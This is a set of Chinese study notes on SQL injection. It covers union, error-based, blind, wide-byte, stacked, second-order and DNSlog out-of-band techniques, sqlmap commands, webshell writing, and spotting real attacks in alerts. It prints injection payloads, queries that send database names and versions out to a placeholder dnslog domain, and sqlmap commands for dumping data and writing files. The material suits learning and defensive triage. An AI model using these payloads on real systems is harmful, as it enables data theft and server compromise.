原理:程序对用户的输入数据的合法性没有进行处理,导致攻击者可以在web应用中事先定义好的sql语句中添加额外的sql语句,在管理员不知情的情况下执行非法操作
必要条件:输入参数可控,参数带入数据库查询
mysql5版本之前和5版本之后的区别
5版本后为了方便管理,有information_schema数据库,这个数据库存储了所有的数据库名,表名,列名,通过查询该数据库的信息就可以直到指定数据库下的表名列名信息。
union联合注入
有回显注入,通过union select联合两个表进行查询,列数要相同
步骤:
判断注入点,判断类型,构造闭合,判断列数,判断显示位,获取数据库信息
报错注入
利用数据库某些机制,人为制造错误的条件,使得查询结果能够出现在错误信息中。
报错注入的函数:
floor
union select 1,2,3 from(
select count(*),concat(
(select concat(version(),database(),user())
limit 0,1
),floor(rand(0)*2) x
from information_schema.tables
group by x)a –+
and updatexml(1,(concat(0x23,(select …),0x23)),1)
extractvalue
exp
geometrycollection
multipoint
盲注
布尔盲注
程序员在开发过程中,将报错信息进行隐藏,替换为了通用的错误提示,导致sql注入无法根据错误信息判断注入语句执行的结果,无回显,根据页面是否正常显示来判断if语句的条件是否成立
常用函数
substr()截取当前字符
length()获取长度
left(),right()
时间盲注
通过构造sleep注入的sql测试语句,通过页面反应时间来判断if语句是否正确
常用函数:if(),sleep(),benchmark()
if(ascii(substr(database(),1,1))=120,sleep(3),1)–+
宽字节注入
mysql数据库在使用宽字节GBK编码时,
%df’:会被php中的addslashes函数转译为%df’,在url中会被转义为%df%5C%27
在数据库查询时,GBK多字节编码会认为一个中文占两个字节,在汉字编码时两个编码为一个汉字,会将%df%5C进行转移成汉字,而%27会保留,从而绕过转义字符,导致漏洞
<?php
$ss=addslashes('aiyou"bu"cuo');
echo($ss);
?>
#aiyou\\"bu\\"cuo
?id=1%df%27%20union%20select%201,2,3–+
堆叠注入
一堆sql语句一起执行
前提:sql存在注入漏洞且未对;过滤
与联合查询的区别
union联合查询执行的语句有线,可以执行查询语句,而堆叠注入可以执行插入删除修改操作,危害更大
二次注入
第一次进行数据库插入时,仅对其中的特殊字符进行了转义,仍然保留了原始数据,如果数据本身就是有害数据,那么在第二次进行查询时,从数据库中取出恶意数据,没有进行合法性的验证,导致二次注入
DNSlog外带
将域名信息去DNS服务器中迭代查询,后返回
UNC机制:windows指定和映射网络驱动器
UNC路径:\\servername\\sharename\\directory\\filename
UNC机制能够触发dnslog解析
申请一个dnslog平台,进行盲注时把想要的数据和平台给的地址拼起来,dnslog平台就会把请求的记录显示出来。
常用函数:load_file(),concat()
#mysql
select load_file(
concat('\\\\\\\\',(select version()),'.xxx\\\\test')
)
xxx为dnslog平台域名
#mssql
declare @a varchar(50);
select @a='\\\\'+concat(varchar(50),DB_NAME())+'xxx\\test';
exec master..xp_dirtree @a,1,1;
#master..xp_dirtree ’c:‘,1,1;获取目录下所有文件夹和子文件
#master..xp_fileexist 'xxx';确定一个文件是否存在于硬盘
#master..xp_subdirs 获取给定文件夹内的文件夹列表
' and if ((select load_file(...))1,0)–+
sql注入文件读写
利用文件的读写权限,写入一句话木马
条件:
写文件的函数
outfile():
dumpfile():
SQL注入绕过WAF
WAF原理:对来自web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予 以实时阻断
绕过方法:
sqlmap
是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限
#get类型
sqlmap -u "url" –dbs –batch #所有数据库名称
sqlmap -u "url" -D xxx –tables –batch
sqlmap -u "url" -D xxx -T xxx –columns –batch
sqlmap -u "url" -D xxx –T xxx -C xxx –dump
sqlmap -u "url" –file-read 'xx/xx' –batch
sqlmap -u "url" –file-write '/xx.php' –file-dest '/xx/xx/xx' –batch
#post类型
sqlmap -r "请求包内容.txt" -p 爆破参数 –dbs –batch
sqlmap -r "请求包内容.txt" -p 爆破参数 –technique E #报错注入
sqlmap -r "请求包内容.txt" -p 爆破参数 –current-db
#盲注
–technique B #基于布尔盲注 -T 时间盲注
#http头注入
指定注入请求包内容http头中的字段修改为*
sqlmap -r '请求包内容.txt' –dbs –batch
获取shell步骤:
有读写权限,且知道网站的绝对路径
写入文件
select ‘一句话木马’ into outfile,into dumpfile
如何判断是真实攻击还是误报
常见攻击方式:查看请求包中是否有注入特征:union,updatexml,extractvalue,if sleep, 函数,
判断相应包中有没有对应语句的回显结果。
响应体和攻击语句的关联性
访问页面,看回显
根据IP、看历史处置方式,看是否一直这样
时间盲注的判断:
告警详情下载pcip包,从wireshark看有没有做延时回显
数据库端口号
MYSQL:3306
SQL Server:1433
Oracle:1521
Redis:6379
MongoDB:27017

